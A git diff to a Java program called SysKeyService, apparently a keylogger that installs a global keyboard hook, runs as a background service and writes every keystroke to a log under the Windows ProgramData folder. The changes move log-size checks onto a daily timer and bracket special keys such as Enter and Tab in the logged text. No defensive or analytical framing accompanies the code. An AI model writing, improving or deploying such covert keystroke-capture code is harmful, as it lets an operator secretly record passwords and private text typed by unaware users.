diff --git a/src/main/java/ru/mcs/syskey/SysKeyService.java b/src/main/java/ru/mcs/syskey/SysKeyService.java index 1d1d401..60e3dea 100644 --- a/src/main/java/ru/mcs/syskey/SysKeyService.java +++ b/src/main/java/ru/mcs/syskey/SysKeyService.java @@ -20,24 +20,26 @@ import java.time.LocalDateTime; import java.time.format.DateTimeFormatter; import java.util.Date; -import java.util.concurrent.atomic.AtomicLong; +import java.util.Timer; +import java.util.TimerTask; public class SysKeyService implements NativeKeyListener { private static final Logger logger = LoggerFactory.getLogger(SysKeyService.class); private static final String LOG_DIR = System.getenv("ProgramData") + "\\SysKeyService"; private static final Path LOG_FILE_PATH = Path.of(LOG_DIR, "syskey.log"); private static final long MAX_LOG_SIZE = 10 * 1024 * 1024; // 10 MB + private static final long CHECK_INTERVAL = 24 * 60 * 60 * 1000; // 24 часа private static final User32 USER32 = User32.INSTANCE; private static final Kernel32 KERNEL32 = Kernel32.INSTANCE; private static final DateTimeFormatter DTF = DateTimeFormatter.ofPattern("yyyy-MM-dd HH:mm:ss"); - private static final AtomicLong currentLogSize = new AtomicLong(0); private static final Object fileLock = new Object(); public static void main(String[] args) { try { initLogger(); initHook(); + startLogChecker(); runAsService(); } catch (Exception e) { logger.error("Critical error: {}", e.getMessage(), e); @@ -47,12 +49,12 @@ private static void initLogger() throws IOException { Files.createDirectories(Path.of(LOG_DIR)); - if (Files.exists(LOG_FILE_PATH)) { - currentLogSize.set(Files.size(LOG_FILE_PATH)); - } else { + if (!Files.exists(LOG_FILE_PATH)) { Files.createFile(LOG_FILE_PATH); - currentLogSize.set(0); } + + // Проверяем размер при старте + checkLogSize(); } private static void initHook() throws NativeHookException { @@ -60,6 +62,16 @@ GlobalScreen.addNativeKeyListener(new SysKeyService()); } + private static void startLogChecker() { + Timer timer = new Timer(true); + timer.scheduleAtFixedRate(new TimerTask() { + @Override + public void run() { + checkLogSize(); + } + }, CHECK_INTERVAL, CHECK_INTERVAL); + } + private static void runAsService() { logger.info("Sys key service started. Log directory: {}", LOG_DIR); Runtime.getRuntime().addShutdownHook(new Thread(() -> { @@ -99,27 +111,31 @@ } } - private synchronized void writeToLog(String entry) { + private static void writeToLog(String entry) { synchronized (fileLock) { try { - // Проверяем размер лога - if (currentLogSize.get() > MAX_LOG_SIZE) { - rotateLog(); - } - - // Записываем запись Files.writeString(LOG_FILE_PATH, entry, StandardOpenOption.APPEND, StandardOpenOption.CREATE); - - // Обновляем размер - currentLogSize.addAndGet(entry.getBytes().length); } catch (IOException ex) { logger.error("File write error: {}", ex.getMessage()); } } } - private void rotateLog() { + private static void checkLogSize() { + synchronized (fileLock) { + try { + long size = Files.size(LOG_FILE_PATH); + if (size > MAX_LOG_SIZE) { + rotateLog(); + } + } catch (IOException ex) { + logger.error("Log size check error: {}", ex.getMessage()); + } + } + } + + private static void rotateLog() { try { // Формируем имя архивированного файла с датой SimpleDateFormat dateFormat = new SimpleDateFormat("yyyyMMdd_HHmmss"); @@ -132,7 +148,6 @@ // Создаем новый файл лога Files.createFile(LOG_FILE_PATH); - currentLogSize.set(0); logger.info("Log rotated: {}", archiveName); @@ -143,7 +158,7 @@ } } - private void cleanOldLogs() { + private static void cleanOldLogs() { try { Files.list(Path.of(LOG_DIR)) .filter(path -> path.getFileName().toString().startsWith("syskey_")) @@ -205,15 +220,14 @@ } } - private String getKeyText(NativeKeyEvent e) { try { return NativeKeyEvent.getKeyText(e.getKeyCode()) - .replace("\n", "Enter") - .replace("\t", "Tab") + .replace("\n", "[Enter]") + .replace("\t", "[Tab]") .replace(" ", "[Space]"); } catch (Exception ex) { - return "KeyCode-" + e.getKeyCode(); + return "[" + e.getKeyCode() + "]"; } }